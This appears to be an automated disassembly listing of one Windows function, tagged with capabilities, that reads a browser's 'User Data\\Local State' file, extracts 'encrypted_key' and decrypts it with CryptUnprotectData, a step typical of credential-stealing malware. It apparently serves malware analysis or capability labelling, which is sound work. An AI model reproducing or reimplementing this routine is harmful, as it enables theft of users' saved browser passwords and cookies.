Function at 0x4016f4
Capabilities:
Encrypt data using dpapi
Get file size
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x9a4]
sub esp, 0xa24
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x9a0], eax
push ebx
push esi
push edi
mov esi, 0x3ff
xor ebx, ebx
push esi
lea eax, [ebp + 0x3a1]
mov edi, ecx
push ebx
push eax
mov dword [ebp - 0x64], edi
mov byte [ebp + 0x3a0], bl
call fcn.0055bfc0
push esi
lea eax, [ebp - 0x5f]
push ebx
push eax
mov byte [ebp - 0x60], bl
call fcn.0055bfc0
push 0x1ff
lea eax, [ebp + 0x7a1]
push ebx
push eax
mov byte [ebp + 0x7a0], bl
call fcn.0055bfc0
inc esi
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, str.VXNlciBEYXRh
mov dword [0x5e9a50], ebx
call fcn.00403379
add esp, 0x2c
lea eax, [ebp - 0x60]
push eax
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrA]
call edi
cmp eax, ebx
je 0x401942
sub eax, dword [ebp - 0x64]
push eax
push dword [ebp - 0x64]
lea eax, [ebp + 0x7a0]
push eax
call fcn.0055bc50
lea eax, [ebp - 0x60]
push esi
push eax
mov eax, str.VXNlciBEYXRhXFxMb2NhbCBTdGF0ZQ
call fcn.00403379
add esp, 0x14
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp + 0x7a0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
push connect
lea eax, [ebp + 0x7a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x68], eax
cmp eax, 0xffffffff
je 0x401942
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x64], eax
cmp eax, 0xffffffff
je 0x401942
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x6c], eax
cmp eax, ebx
je 0x401942
push ebx
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp - 0x64]
push eax
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401942
lea eax, [ebp + 0x3a0]
push esi
push eax
mov eax, str.ZW5jcnlwdGVkX2tleQ
call fcn.00403379
pop ecx
pop ecx
lea eax, [ebp + 0x3a0]
push eax
push dword [ebp - 0x6c]
call edi
mov dword [ebp - 0x64], eax
cmp eax, ebx
je 0x401942
lea eax, [ebp + 0x3a0]
push esi
push eax
mov eax, str.Ig
call fcn.00403379
mov eax, dword [ebp - 0x64]
pop ecx
pop ecx
lea ecx, [ebp + 0x3a0]
add eax, 0x10
push ecx
push eax
mov dword [ebp - 0x70], eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
sub esi, dword [ebp - 0x64]
lea eax, [esi + 1]
push eax
push 0x40
call edi
mov dword [ebp - 0x64], eax
cmp eax, ebx
je 0x401942
lea ecx, [esi - 0x10]
push ecx
push dword [ebp - 0x70]
push eax
call fcn.0055bc50
lea eax, [ebp + 0x3a0]
push esi
push eax
mov eax, dword [ebp - 0x64]
call fcn.00401373
add esp, 0x14
test eax, eax
je 0x401942
lea eax, [esi - 4]
push eax
push 0x40
call edi
mov edi, eax
cmp edi, ebx
je 0x401942
add esi, 0xfffffffb
push esi
lea eax, [ebp + 0x3a5]
push eax
push edi
call fcn.0055bc50
push 0x200
mov dword [ebp - 0x74], esi
push ebx
mov esi, 0x5e9a58
push esi
mov dword [ebp - 0x70], edi
call fcn.0055bfc0
add esp, 0x18
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x401926
mov ebx, dword [ebp - 0x7c]
push ebx
push dword [ebp - 0x78]
push esi
call fcn.0055bc50
add esp, 0xc
mov dword [0x5e9a50], ebx
push dword [ebp - 0x6c]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
call esi
push dword [ebp - 0x64]
call esi
push edi
call esi
push dword [ebp - 0x68]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 0x9a0]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
add ebp, 0x9a4
leave
ret